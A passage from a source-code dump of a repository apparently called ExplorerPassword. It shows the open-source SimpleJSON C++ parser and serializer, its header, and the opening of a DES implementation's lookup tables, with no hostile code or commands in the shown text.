L'{') 142 | { 143 | JSONObject object; 144 | 145 | (*data)++; 146 | 147 | while (**data != 0) 148 | { 149 | // Whitespace at the start? 150 | if (!JSON::SkipWhitespace(data)) 151 | { 152 | FREE_OBJECT(object); 153 | return NULL; 154 | } 155 | 156 | // Special case - empty object 157 | if (object.size() == 0 && **data == L'}') 158 | { 159 | (*data)++; 160 | return new JSONValue(object); 161 | } 162 | 163 | // We want a string now... 164 | std::wstring name; 165 | if (!JSON::ExtractString(&(++(*data)), name)) 166 | { 167 | FREE_OBJECT(object); 168 | return NULL; 169 | } 170 | 171 | // More whitespace? 172 | if (!JSON::SkipWhitespace(data)) 173 | { 174 | FREE_OBJECT(object); 175 | return NULL; 176 | } 177 | 178 | // Need a : now 179 | if (*((*data)++) != L':') 180 | { 181 | FREE_OBJECT(object); 182 | return NULL; 183 | } 184 | 185 | // More whitespace? 186 | if (!JSON::SkipWhitespace(data)) 187 | { 188 | FREE_OBJECT(object); 189 | return NULL; 190 | } 191 | 192 | // The value is here 193 | JSONValue *value = Parse(data); 194 | if (value == NULL) 195 | { 196 | FREE_OBJECT(object); 197 | return NULL; 198 | } 199 | 200 | // Add the name:value 201 | if (object.find(name) != object.end()) 202 | delete object[name]; 203 | object[name] = value; 204 | 205 | // More whitespace? 206 | if (!JSON::SkipWhitespace(data)) 207 | { 208 | FREE_OBJECT(object); 209 | return NULL; 210 | } 211 | 212 | // End of object? 213 | if (**data == L'}') 214 | { 215 | (*data)++; 216 | return new JSONValue(object); 217 | } 218 | 219 | // Want a , now 220 | if (**data != L',') 221 | { 222 | FREE_OBJECT(object); 223 | return NULL; 224 | } 225 | 226 | (*data)++; 227 | } 228 | 229 | // Only here if we ran out of data 230 | FREE_OBJECT(object); 231 | return NULL; 232 | } 233 | 234 | // An array? 235 | else if (**data == L'[') 236 | { 237 | JSONArray array; 238 | 239 | (*data)++; 240 | 241 | while (**data != 0) 242 | { 243 | // Whitespace at the start? 244 | if (!JSON::SkipWhitespace(data)) 245 | { 246 | FREE_ARRAY(array); 247 | return NULL; 248 | } 249 | 250 | // Special case - empty array 251 | if (array.size() == 0 && **data == L']') 252 | { 253 | (*data)++; 254 | return new JSONValue(array); 255 | } 256 | 257 | // Get the value 258 | JSONValue *value = Parse(data); 259 | if (value == NULL) 260 | { 261 | FREE_ARRAY(array); 262 | return NULL; 263 | } 264 | 265 | // Add the value 266 | array.push_back(value); 267 | 268 | // More whitespace? 269 | if (!JSON::SkipWhitespace(data)) 270 | { 271 | FREE_ARRAY(array); 272 | return NULL; 273 | } 274 | 275 | // End of array? 276 | if (**data == L']') 277 | { 278 | (*data)++; 279 | return new JSONValue(array); 280 | } 281 | 282 | // Want a , now 283 | if (**data != L',') 284 | { 285 | FREE_ARRAY(array); 286 | return NULL; 287 | } 288 | 289 | (*data)++; 290 | } 291 | 292 | // Only here if we ran out of data 293 | FREE_ARRAY(array); 294 | return NULL; 295 | } 296 | 297 | // Ran out of possibilites, it's bad! 298 | else 299 | { 300 | return NULL; 301 | } 302 | } 303 | 304 | /** 305 | * Basic constructor for creating a JSON Value of type NULL 306 | * 307 | * @access public 308 | */ 309 | JSONValue::JSONValue(/*NULL*/) 310 | { 311 | type = JSONType_Null; 312 | } 313 | 314 | /** 315 | * Basic constructor for creating a JSON Value of type String 316 | * 317 | * @access public 318 | * 319 | * @param wchar_t_t* m_char_value The string to use as the value 320 | */ 321 | JSONValue::JSONValue(const wchar_t *m_char_value) 322 | { 323 | type = JSONType_String; 324 | string_value = std::wstring(m_char_value); 325 | } 326 | 327 | /** 328 | * Basic constructor for creating a JSON Value of type String 329 | * 330 | * @access public 331 | * 332 | * @param std::wstring m_string_value The string to use as the value 333 | */ 334 | JSONValue::JSONValue(const std::wstring &m_string_value) 335 | { 336 | type = JSONType_String; 337 | string_value = m_string_value; 338 | } 339 | 340 | /** 341 | * Basic constructor for creating a JSON Value of type Bool 342 | * 343 | * @access public 344 | * 345 | * @param bool m_bool_value The bool to use as the value 346 | */ 347 | JSONValue::JSONValue(bool m_bool_value) 348 | { 349 | type = JSONType_Bool; 350 | bool_value = m_bool_value; 351 | } 352 | 353 | /** 354 | * Basic constructor for creating a JSON Value of type Number 355 | * 356 | * @access public 357 | * 358 | * @param double m_number_value The number to use as the value 359 | */ 360 | JSONValue::JSONValue(double m_number_value) 361 | { 362 | type = JSONType_Number; 363 | number_value = m_number_value; 364 | } 365 | 366 | /** 367 | * Basic constructor for creating a JSON Value of type Array 368 | * 369 | * @access public 370 | * 371 | * @param JSONArray m_array_value The JSONArray to use as the value 372 | */ 373 | JSONValue::JSONValue(const JSONArray &m_array_value) 374 | { 375 | type = JSONType_Array; 376 | array_value = m_array_value; 377 | } 378 | 379 | /** 380 | * Basic constructor for creating a JSON Value of type Object 381 | * 382 | * @access public 383 | * 384 | * @param JSONObject m_object_value The JSONObject to use as the value 385 | */ 386 | JSONValue::JSONValue(const JSONObject &m_object_value) 387 | { 388 | type = JSONType_Object; 389 | object_value = m_object_value; 390 | } 391 | 392 | /** 393 | * The destructor for the JSON Value object 394 | * Handles deleting the objects in the array or the object value 395 | * 396 | * @access public 397 | */ 398 | JSONValue::~JSONValue() 399 | { 400 | if (type == JSONType_Array) 401 | { 402 | JSONArray::iterator iter; 403 | for (iter = array_value.begin(); iter != array_value.end(); iter++) 404 | delete *iter; 405 | } 406 | else if (type == JSONType_Object) 407 | { 408 | JSONObject::iterator iter; 409 | for (iter = object_value.begin(); iter != object_value.end(); iter++) 410 | { 411 | delete (*iter).second; 412 | } 413 | } 414 | } 415 | 416 | /** 417 | * Checks if the value is a NULL 418 | * 419 | * @access public 420 | * 421 | * @return bool Returns true if it is a NULL value, false otherwise 422 | */ 423 | bool JSONValue::IsNull() const 424 | { 425 | if (this == NULL) 426 | return false; 427 | 428 | return type == JSONType_Null; 429 | } 430 | 431 | /** 432 | * Checks if the value is a String 433 | * 434 | * @access public 435 | * 436 | * @return bool Returns true if it is a String value, false otherwise 437 | */ 438 | bool JSONValue::IsString() const 439 | { 440 | if (this == NULL) 441 | return false; 442 | 443 | return type == JSONType_String; 444 | } 445 | 446 | /** 447 | * Checks if the value is a Bool 448 | * 449 | * @access public 450 | * 451 | * @return bool Returns true if it is a Bool value, false otherwise 452 | */ 453 | bool JSONValue::IsBool() const 454 | { 455 | if (this == NULL) 456 | return false; 457 | 458 | return type == JSONType_Bool; 459 | } 460 | 461 | /** 462 | * Checks if the value is a Number 463 | * 464 | * @access public 465 | * 466 | * @return bool Returns true if it is a Number value, false otherwise 467 | */ 468 | bool JSONValue::IsNumber() const 469 | { 470 | if (this == NULL) 471 | return false; 472 | 473 | return type == JSONType_Number; 474 | } 475 | 476 | /** 477 | * Checks if the value is an Array 478 | * 479 | * @access public 480 | * 481 | * @return bool Returns true if it is an Array value, false otherwise 482 | */ 483 | bool JSONValue::IsArray() const 484 | { 485 | if (this == NULL) 486 | return false; 487 | 488 | return type == JSONType_Array; 489 | } 490 | 491 | /** 492 | * Checks if the value is an Object 493 | * 494 | * @access public 495 | * 496 | * @return bool Returns true if it is an Object value, false otherwise 497 | */ 498 | bool JSONValue::IsObject() const 499 | { 500 | if (this == NULL) 501 | return false; 502 | 503 | return type == JSONType_Object; 504 | } 505 | 506 | /** 507 | * Retrieves the String value of this JSONValue 508 | * Use IsString() before using this method. 509 | * 510 | * @access public 511 | * 512 | * @return std::wstring Returns the string value 513 | */ 514 | const std::wstring &JSONValue::AsString() const 515 | { 516 | static std::wstring empty_string = L""; 517 | // Se non e' una stringa almeno non scorra e torna una 518 | // stringa vuota... 519 | if (this == NULL || type != JSONType_String) 520 | return empty_string; 521 | 522 | return string_value; 523 | } 524 | 525 | /** 526 | * Retrieves the Bool value of this JSONValue 527 | * Use IsBool() before using this method. 528 | * 529 | * @access public 530 | * 531 | * @return bool Returns the bool value 532 | */ 533 | bool JSONValue::AsBool() const 534 | { 535 | // Se non e' un bool torna di default FALSE 536 | if (this == NULL || type != JSONType_Bool) 537 | return false; 538 | 539 | return bool_value; 540 | } 541 | 542 | /** 543 | * Retrieves the Number value of this JSONValue 544 | * Use IsNumber() before using this method. 545 | * 546 | * @access public 547 | * 548 | * @return double Returns the number value 549 | */ 550 | double JSONValue::AsNumber() const 551 | { 552 | // Se non e' un numero torna di default 0 553 | if (this == NULL || type != JSONType_Number) 554 | return 0; 555 | 556 | return number_value; 557 | } 558 | 559 | /** 560 | * Retrieves the Array value of this JSONValue 561 | * Use IsArray() before using this method. 562 | * 563 | * @access public 564 | * 565 | * @return JSONArray Returns the array value 566 | */ 567 | const JSONArray &JSONValue::AsArray() const 568 | { 569 | static JSONArray empty_array; 570 | 571 | if (this == NULL || type != JSONType_Array) { 572 | empty_array.clear(); 573 | return empty_array; 574 | } 575 | 576 | return array_value; 577 | } 578 | 579 | /** 580 | * Retrieves the Object value of this JSONValue 581 | * Use IsObject() before using this method. 582 | * 583 | * @access public 584 | * 585 | * @return JSONObject Returns the object value 586 | */ 587 | const JSONObject &JSONValue::AsObject() const 588 | { 589 | return object_value; 590 | } 591 | 592 | /** 593 | * Creates a JSON encoded string for the value with all necessary characters escaped 594 | * 595 | * @access public 596 | * 597 | * @return std::wstring Returns the JSON string 598 | */ 599 | std::wstring JSONValue::Stringify() const 600 | { 601 | std::wstring ret_string; 602 | 603 | switch (type) 604 | { 605 | case JSONType_Null: 606 | ret_string = L"null"; 607 | break; 608 | 609 | case JSONType_String: 610 | ret_string = StringifyString(string_value); 611 | break; 612 | 613 | case JSONType_Bool: 614 | ret_string = bool_value ? L"true" : L"false"; 615 | break; 616 | 617 | case JSONType_Number: 618 | { 619 | if (isinf(number_value) || isnan(number_value)) 620 | ret_string = L"null"; 621 | else 622 | { 623 | std::wstringstream ss; 624 | ss << number_value; 625 | ret_string = ss.str(); 626 | } 627 | break; 628 | } 629 | 630 | case JSONType_Array: 631 | { 632 | ret_string = L"["; 633 | JSONArray::const_iterator iter = array_value.begin(); 634 | while (iter != array_value.end()) 635 | { 636 | ret_string += (*iter)->Stringify(); 637 | 638 | // Not at the end - add a separator 639 | if (++iter != array_value.end()) 640 | ret_string += L","; 641 | } 642 | ret_string += L"]"; 643 | break; 644 | } 645 | 646 | case JSONType_Object: 647 | { 648 | ret_string = L"{"; 649 | JSONObject::const_iterator iter = object_value.begin(); 650 | while (iter != object_value.end()) 651 | { 652 | ret_string += StringifyString((*iter).first); 653 | ret_string += L":"; 654 | ret_string += (*iter).second->Stringify(); 655 | 656 | // Not at the end - add a separator 657 | if (++iter != object_value.end()) 658 | ret_string += L","; 659 | } 660 | ret_string += L"}"; 661 | break; 662 | } 663 | } 664 | 665 | return ret_string; 666 | } 667 | 668 | /** 669 | * Creates a JSON encoded string with all required fields escaped 670 | * Works from http://www.ecma-internationl.org/publications/files/ECMA-ST/ECMA-262.pdf 671 | * Section 15.12.3. 672 | * 673 | * @access private 674 | * 675 | * @param std::wstring str The string that needs to have the characters escaped 676 | * 677 | * @return std::wstring Returns the JSON string 678 | */ 679 | std::wstring JSONValue::StringifyString(const std::wstring &str) 680 | { 681 | std::wstring str_out = L"\""; 682 | 683 | std::wstring::const_iterator iter = str.begin(); 684 | while (iter != str.end()) 685 | { 686 | wchar_t chr = *iter; 687 | 688 | if (chr == L'"' || chr == L'\\' || chr == L'/') 689 | { 690 | str_out += L'\\'; 691 | str_out += chr; 692 | } 693 | else if (chr == L'\b') 694 | { 695 | str_out += L"\\b"; 696 | } 697 | else if (chr == L'\f') 698 | { 699 | str_out += L"\\f"; 700 | } 701 | else if (chr == L'\n') 702 | { 703 | str_out += L"\\n"; 704 | } 705 | else if (chr == L'\r') 706 | { 707 | str_out += L"\\r"; 708 | } 709 | else if (chr == L'\t') 710 | { 711 | str_out += L"\\t"; 712 | } 713 | else if (chr < L' ') 714 | { 715 | str_out += L"\\u"; 716 | for (int i = 0; i < 4; i++) 717 | { 718 | int value = (chr >> 12) & 0xf; 719 | if (value >= 0 && value <= 9) 720 | str_out += (wchar_t)('0' + value); 721 | else if (value >= 10 && value <= 15) 722 | str_out += (wchar_t)('A' + (value - 10)); 723 | chr <<= 4; 724 | } 725 | } 726 | else 727 | { 728 | str_out += chr; 729 | } 730 | 731 | iter++; 732 | } 733 | 734 | str_out += L"\""; 735 | return str_out; 736 | } 737 | -------------------------------------------------------------------------------- /ExplorerPassword/JSONValue.h: -------------------------------------------------------------------------------- 1 | /* 2 | * File JSONValue.h part of the SimpleJSON Library - http://mjpa.in/json 3 | * 4 | * Copyright (C) 2010 Mike Anchor 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in 14 | * all copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 22 | * THE SOFTWARE. 23 | */ 24 | 25 | #ifndef _JSONVALUE_H_ 26 | #define _JSONVALUE_H_ 27 | 28 | #include 29 | #include 30 | 31 | #include "JSON.h" 32 | 33 | class JSON; 34 | 35 | enum JSONType { JSONType_Null, JSONType_String, JSONType_Bool, JSONType_Number, JSONType_Array, JSONType_Object }; 36 | 37 | class JSONValue 38 | { 39 | friend class JSON; 40 | 41 | public: 42 | JSONValue(/*NULL*/); 43 | JSONValue(const wchar_t *m_char_value); 44 | JSONValue(const std::wstring &m_string_value); 45 | JSONValue(bool m_bool_value); 46 | JSONValue(double m_number_value); 47 | JSONValue(const JSONArray &m_array_value); 48 | JSONValue(const JSONObject &m_object_value); 49 | ~JSONValue(); 50 | 51 | bool IsNull() const; 52 | bool IsString() const; 53 | bool IsBool() const; 54 | bool IsNumber() const; 55 | bool IsArray() const; 56 | bool IsObject() const; 57 | 58 | const std::wstring &AsString() const; 59 | bool AsBool() const; 60 | double AsNumber() const; 61 | const JSONArray &AsArray() const; 62 | const JSONObject &AsObject() const; 63 | 64 | std::wstring Stringify() const; 65 | 66 | protected: 67 | static JSONValue *Parse(const wchar_t **data); 68 | 69 | private: 70 | static std::wstring StringifyString(const std::wstring &str); 71 | 72 | JSONType type; 73 | std::wstring string_value; 74 | bool bool_value; 75 | double number_value; 76 | JSONArray array_value; 77 | JSONObject object_value; 78 | }; 79 | 80 | #endif 81 | -------------------------------------------------------------------------------- /ExplorerPassword/ReadMe.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/ReadMe.txt -------------------------------------------------------------------------------- /ExplorerPassword/Resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/Resource.h -------------------------------------------------------------------------------- /ExplorerPassword/des.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | 5 | #include "des.h" 6 | 7 | const DES_LONG DES_SPtrans[8][64]={ 8 | { 9 | /* nibble 0 */ 10 | 0x02080800L, 0x00080000L, 0x02000002L, 0x02080802L, 11 | 0x02000000L, 0x00080802L, 0x00080002L, 0x02000002L, 12 | 0x00080802L, 0x02080800L, 0x02080000L, 0x00000802L, 13 | 0x02000802L, 0x02000000L, 0x00000000L, 0x00080002L, 14 | 0x00080000L, 0x00000002L, 0x02000800L, 0x00080800L, 15 | 0x02080802L, 0x02080000L, 0x00000802L, 0x02000800L, 16 | 0x00000002L, 0x00000800L, 0x00080800L, 0x02080002L, 17 | 0x00000800L, 0x02000802L, 0x02080002L, 0x00000000L, 18 | 0x00000000L, 0x02080802L, 0x02000800L, 0x00080002L, 19 | 0x02080800L, 0x00080000L, 0x00000802L, 0x02000800L, 20 | 0x02080002L, 0x00000800L, 0x00080800L, 0x02000002L, 21 | 0x00080802L, 0x00000002L, 0x02000002L, 0x02080000L, 22 | 0x02080802L, 0x00080800L, 0x02080000L, 0x02000802L, 23 | 0x02000000L, 0x00000802L, 0x00080002L, 0x00000000L, 24 | 0x00080000L, 0x02000000L, 0x02000802L, 0x02080800L, 25 | 0x00000002L, 0x02080002L, 0x00000800L, 0x00080802L, 26 | },{ 27 | /* nibble 1 */ 28 | 0x40108010L, 0x00000000L, 0x00108000L, 0x40100000L, 29 | 0x40000010L, 0x00008010L, 0x40008000L, 0x00108000L, 30 | 0x00008000L, 0x40100010L, 0x00000010L, 0x40008000L, 31 | 0x00100010L, 0x40108000L, 0x40100000L, 0x00000010L, 32 | 0x00100000L, 0x40008010L, 0x40100010L, 0x00008000L, 33 | 0x00108010L, 0x40000000L, 0x00000000L, 0x00100010L, 34 | 0x40008010L, 0x00108010L, 0x40108000L, 0x40000010L, 35 | 0x40000000L, 0x00100000L, 0x00008010L, 0x40108010L, 36 | 0x00100010L, 0x40108000L, 0x40008000L, 0x00108010L, 37 | 0x40108010L, 0x00100010L, 0x40000010L, 0x00000000L, 38 | 0x40000000L, 0x00008010L, 0x00100000L, 0x40100010L, 39 | 0x00008000L, 0x40000000L, 0x00108010L, 0x40008010L, 40 | 0x40108000L, 0x00008000L, 0x00000000L, 0x40000010L, 41 | 0x00000010L, 0x40108010L, 0x00108000L, 0x40100000L, 42 | 0x40100010L, 0x00100000L, 0x00008010L, 0x40008000L, 43 | 0x40008010L, 0x00000010L, 0x40100000L, 0x00108000L, 44 | },{ 45 | /* nibble 2 */ 46 | 0x04000001L, 0x04040100L, 0x00000100L, 0x04000101L, 47 | 0x00040001L, 0x04000000L, 0x04000101L, 0x00040100L, 48 | 0x04000100L, 0x00040000L, 0x04040000L, 0x00000001L, 49 | 0x04040101L, 0x00000101L, 0x00000001L, 0x04040001L, 50 | 0x00000000L, 0x00040001L, 0x04040100L, 0x00000100L, 51 | 0x00000101L, 0x04040101L, 0x00040000L, 0x04000001L, 52 | 0x04040001L, 0x04000100L, 0x00040101L, 0x04040000L, 53 | 0x00040100L, 0x00000000L, 0x04000000L, 0x00040101L, 54 | 0x04040100L, 0x00000100L, 0x00000001L, 0x00040000L, 55 | 0x00000101L, 0x00040001L, 0x04040000L, 0x04000101L, 56 | 0x00000000L, 0x04040100L, 0x00040100L, 0x04040001L, 57 | 0x00040001L, 0x04000000L, 0x04040101L, 0x00000001L, 58 | 0x00040101L, 0x04000001L, 0x04000000L, 0x04040101L, 59 | 0x00040000L, 0x04000100L, 0x04000101L, 0x00040100L, 60 | 0x04000100L, 0x00000000L, 0x04040001L, 0x00000101L, 61 | 0x04000001L, 0x00040101L, 0x00000100L, 0x04040000L, 62 | },{ 63 | /* nibble 3 */ 64 | 0x00401008L, 0x10001000L, 0x00000008L, 0x10401008L, 65 | 0x00000000L, 0x10400000L, 0x10001008L, 0x00400008L, 66 | 0x10401000L, 0x10000008L, 0x10000000L, 0x00001008L, 67 | 0x10000008L, 0x00401008L, 0x00400000L, 0x10000000L, 68 | 0x10400008L, 0x00401000L, 0x00001000L, 0x00000008L, 69 | 0x00401000L, 0x10001008L, 0x10400000L, 0x00001000L, 70 | 0x00001008L, 0x00000000L, 0x00400008L, 0x10401000L, 71 | 0x10001000L, 0x10400008L, 0x10401008L, 0x00400000L, 72 | 0x10400008L, 0x00001008L, 0x00400000L, 0x10000008L, 73 | 0x00401000L, 0x10001000L, 0x00000008L, 0x10400000L, 74 | 0x10001008L, 0x00000000L, 0x00001000L, 0x00400008L, 75 | 0x00000000L, 0x10400008L, 0x10401000L, 0x00001000L, 76 | 0x10000000L, 0x10401008L, 0x00401008L, 0x00400000L, 77 | 0x10401008L, 0x00000008L, 0x10001000L, 0x00401008L, 78 | 0x00400008L, 0x00401000L, 0x10400000L, 0x10001008L, 79 | 0x00001008L, 0x10000000L, 0x10000008L, 0x10401000L, 80 | },{ 81 | /* nibble 4 */ 82 | 0x08000000L, 0x00010000L, 0x00000400L, 0x08010420L, 83 | 0x08010020L, 0x08000400L, 0x00010420L, 0x08010000L, 84 | 0x00010000L, 0x00000020L, 0x08000020L, 0x00010400L, 85 | 0x08000420L, 0x08010020L, 0x08010400L, 0x00000000L, 86 | 0x00010400L, 0x08000000L, 0x00010020L, 0x00000420L, 87 | 0x08000400L, 0x00010420L, 0x00000000L, 0x08000020L, 88 | 0x00000020L, 0x08000420L, 0x08010420L, 0x00010020L, 89 | 0x08010000L, 0x00000400L, 0x00000420L, 0x08010400L, 90 | 0x08010400L, 0x08000420L, 0x00010020L, 0x08010000L, 91 | 0x00010000L, 0x00000020L, 0x08000020L, 0x08000400L, 92 | 0x08000000L, 0x00010400L, 0x08010420L, 0x00000000L, 93 | 0x00010420L, 0x08000000L, 0x00000400L, 0x00010020L, 94 | 0x08000420L, 0x00000400L, 0x00000000L, 0x08010420L, 95 | 0x08010020L, 0x08010400L, 0x00000420L, 0x00010000L, 96 | 0x00010400L, 0x08010020L, 0x08000400L, 0x00000420L, 97 | 0x00000020L, 0x00010420L, 0x08010000L, 0x08000020L, 98 | },{ 99 | /* nibble 5 */ 100 | 0x80000040L, 0x00200040L, 0x00000000L, 0x80202000L, 101 | 0x00200040L, 0x00002000L, 0x80002040L, 0x00200000L, 102 | 0x00002040L, 0x80202040L, 0x00202000L, 0x80000000L, 103 | 0x80002000L, 0x80000040L, 0x80200000L, 0x00202040L, 104 | 0x00200000L, 0x80002040L, 0x80200040L, 0x00000000L, 105 | 0x00002000L, 0x00000040L, 0x80202000L, 0x80200040L, 106 | 0x80202040L, 0x80200000L, 0x80000000L, 0x00002040L, 107 | 0x00000040L, 0x00202000L, 0x00202040L, 0x80002000L, 108 | 0x00002040L, 0x80000000L, 0x80002000L, 0x00202040L, 109 | 0x80202000L, 0x00200040L, 0x00000000L, 0x80002000L, 110 | 0x80000000L, 0x00002000L, 0x80200040L, 0x00200000L, 111 | 0x00200040L, 0x80202040L, 0x00202000L, 0x00000040L, 112 | 0x80202040L, 0x00202000L, 0x00200000L, 0x80002040L, 113 | 0x80000040L, 0x80200000L, 0x00202040L, 0x00000000L, 114 | 0x00002000L, 0x80000040L, 0x80002040L, 0x80202000L, 115 | 0x80200000L, 0x00002040L, 0x00000040L, 0x80200040L, 116 | },{ 117 | /* nibble 6 */ 118 | 0x00004000L, 0x00000200L, 0x01000200L, 0x01000004L, 119 | 0x01004204L, 0x00004004L, 0x00004200L, 0x00000000L, 120 | 0x01000000L, 0x01000204L, 0x00000204L, 0x01004000L, 121 | 0x00000004L, 0x01004200L, 0x01004000L, 0x00000204L, 122 | 0x01000204L, 0x00004000L, 0x00004004L, 0x01004204L, 123 | 0x00000000L, 0x01000200L, 0x01000004L, 0x00004200L, 124 | 0x01004004L, 0x00004204L, 0x01004200L, 0x00000004L, 125 | 0x00004204L, 0x01004004L, 0x00000200L, 0x01000000L, 126 | 0x00004204L, 0x01004000L, 0x01004004L, 0x00000204L, 127 | 0x00004000L, 0x00000200L, 0x01000000L, 0x01004004L, 128 | 0x01000204L, 0x00004204L, 0x00004200L, 0x00000000L, 129 | 0x00000200L, 0x01000004L, 0x00000004L, 0x01000200L, 130 | 0x00000000L, 0x01000204L, 0x01000200L, 0x00004200L, 131 | 0x00000204L, 0x00004000L, 0x01004204L, 0x01000000L, 132 | 0x01004200L, 0x00000004L, 0x00004004L, 0x01004204L, 133 | 0x01000004L, 0x01004200L, 0x01004000L, 0x00004004L, 134 | },{ 135 | /* nibble 7 */ 136 | 0x20800080L, 0x20820000L, 0x00020080L, 0x00000000L, 137 | 0x20020000L, 0x00800080L, 0x20800000L, 0x20820080L, 138 | 0x00000080L, 0x20000000L, 0x00820000L, 0x00020080L, 139 | 0x00820080L, 0x20020080L, 0x20000080L, 0x20800000L, 140 | 0x00020000L, 0x00820080L, 0x00800080L, 0x20020000L, 141 | 0x20820080L, 0x20000080L, 0x00000000L, 0x00820000L, 142 | 0x20000000L, 0x00800000L, 0x20020080L, 0x20800080L, 143 | 0x00800000L, 0x00020000L, 0x20820000L, 0x00000080L, 144 | 0x00800000L, 0x00020000L, 0x20000080L, 0x20820080L, 145 | 0x00020080L, 0x20000000L, 0x00000000L, 0x00820000L, 146 | 0x20800080L, 0x20020080L, 0x20020000L, 0x00800080L, 147 | 0x20820000L, 0x00000080L, 0x00800080L, 0x20020000L, 148 | 0x20820080L, 0x00800000L, 0x20800000L, 0x20000080L, 149 | 0x00820000L, 0x00020080L, 0x20020080L, 0x20800000L, 150 | 0x00000080L, 0x20820000L, 0x00820080L, 0x00000000L, 151 | 0x20000000L, 0x20800080L, 0x00020000L, 0x00820080L, 152 | }}; 153 | 154 | 155 | static const DES_LONG des_skb[8][64]={ 156 | { 157 | /* for C bits (numbered as per FIPS 46) 1 2 3 4 5 6 */ 158 | 0x00000000L,0x00000010L,0x20000000L,0x20000010L, 159 | 0x00010000L,0x00010010L,0x20010000L,0x20010010L, 160 | 0x00000800L,0x00000810L,0x20000800L,0x20000810L, 161 | 0x00010800L,0x00010810L,0x20010800L,0x20010810L, 162 | 0x00000020L,0x00000030L,0x20000020L,0x20000030L, 163 | 0x00010020L,0x00010030L,0x20010020L,0x20010030L, 164 | 0x00000820L,0x00000830L,0x20000820L,0x20000830L, 165 | 0x00010820L,0x00010830L,0x20010820L,0x20010830L, 166 | 0x00080000L,0x00080010L,0x20080000L,0x20080010L, 167 | 0x00090000L,0x00090010L,0x20090000L,0x20090010L, 168 | 0x00080800L,0x00080810L,0x20080800L,0x20080810L, 169 | 0x00090800L,0x00090810L,0x20090800L,0x20090810L, 170 | 0x00080020L,0x00080030L,0x20080020L,0x20080030L, 171 | 0x00090020L,0x00090030L,0x20090020L,0x20090030L, 172 | 0x00080820L,0x00080830L,0x20080820L,0x20080830L, 173 | 0x00090820L,0x00090830L,0x20090820L,0x20090830L, 174 | },{ 175 | /* for C bits (numbered as per FIPS 46) 7 8 10 11 12 13 */ 176 | 0x00000000L,0x02000000L,0x00002000L,0x02002000L, 177 | 0x00200000L,0x02200000L,0x00202000L,0x02202000L, 178 | 0x00000004L,0x02000004L,0x00002004L,0x02002004L, 179 | 0x00200004L,0x02200004L,0x00202004L,0x02202004L, 180 | 0x00000400L,0x02000400L,0x00002400L,0x02002400L, 181 | 0x00200400L,0x02200400L,0x00202400L,0x02202400L, 182 | 0x00000404L,0x02000404L,0x00002404L,0x02002404L, 183 | 0x00200404L,0x02200404L,0x00202404L,0x02202404L, 184 | 0x10000000L,0x12000000L,0x10002000L,0x12002000L, 185 | 0x10200000L,0x12200000L,0x10202000L,0x12202000L, 186 | 0x10000004L,0x12000004L,0x10002004L,0x12002004L, 187 | 0x10200004L,0x12200004L,0x10202004L,0x12202004L, 188 | 0x10000400L,0x12000400L,0x10002400L,0x12002400L, 189 | 0x10200400L,0x12200400L,0x10202400L,0x12202400L, 190 | 0x10000404L,0x12000404L,0x10002404L,0x12002404L, 191 | 0x10200404L,0x12200404L,0x10202404L,0x12202404L, 192 | },{ 193 | /* for C bits (numbered as per FIPS 46) 14 15 16 17 19 20 */ 194 | 0x00000000L,0x00000001L,0x00040000L,0x00040001L, 195 | 0x01000000L,0x01000001L,0x01040000L,0x01040001L, 196 | 0x00000002L,0x00000003L,0x00040002L,0x00040003L, 197 | 0x01000002L,0x01000003L,0x01040002L,0x01040003L, 198 | 0x00000200L,0x00000201L,0x00040200L,0x00040201L, 199 | 0x01000200L,0x01000201L,0x01040200L,0x01040201L, 200 | 0x00000202L,0x00000203L,0x00040202L,0x00040203L, 201 | 0x01000202L,0x01000203L,0x01040202L,0x01040203L, 202 | 0x08000000L,0x08000001L,0x08040000L,0x08040001L, 203 | 0x09000000L,0x09000001L,0x09040000L,0x09040001L, 204 | 0x08000002L,0x08000003L,0x08040002L,0x08040003L, 205 | 0x09000002L,0x09000003L,0x09040002L,0x09040003L, 206 | 0x08000200L,0x08000201L,0x08040200L,0x08040201L, 207 | 0x09000200L,0x09000201L,0x09040200L,0x09040201L, 208 | 0x08000202L,0x08000203L,0x08040202L,0x08040203L, 209 | 0x09000202L,0x09000203L,0x09040202L,0x09040203L, 210 | },{ 211 | /* for C bits (numbered as per FIPS 46) 21 23 24 26 27 28 */ 212 | 0x00000000L,0x00100000L,0x00000100L,0x00100100L, 213 | 0x00000008L,0x00100008L,0x00000108L,0x00100108L, 214 | 0x00001000L,0x00101000L,0x00001100L,0x00101100L, 215 | 0x00001008L,0x00101008L,0x00001108L,0x00101108L, 216 | 0x04000000L,0x04100000L,0x04000100L,0x04100100L, 217 | 0x04000008L,0x04100008L,0x04000108L,0x04100108L, 218 | 0x04001000L,0x04101000L,0x04001100L,0x04101100L, 219 | 0x04001008L,0x04101008L,0x04001108L,0x04101108L, 220 | 0x00020000L,0x00120000L,0x00020100L,0x00120100L, 221 | 0x00020008L,0x00120008L,0x00020108L,0x00120108L, 222 | 0x00021000L,0x00121000L,0x00021100L,0x00121100L, 223 | 0x00021008L,0x00121008L,0x00021108L,0x00121108L, 224 | 0x04020000L,0x04120000L,0x04020100L,0x04120100L, 225 | 0x04020008L,0x04120008L,0x04020108L,0x04120108L, 226 | 0x04021000L,0x04121000L,0x04021100L,0x04121100L, 227 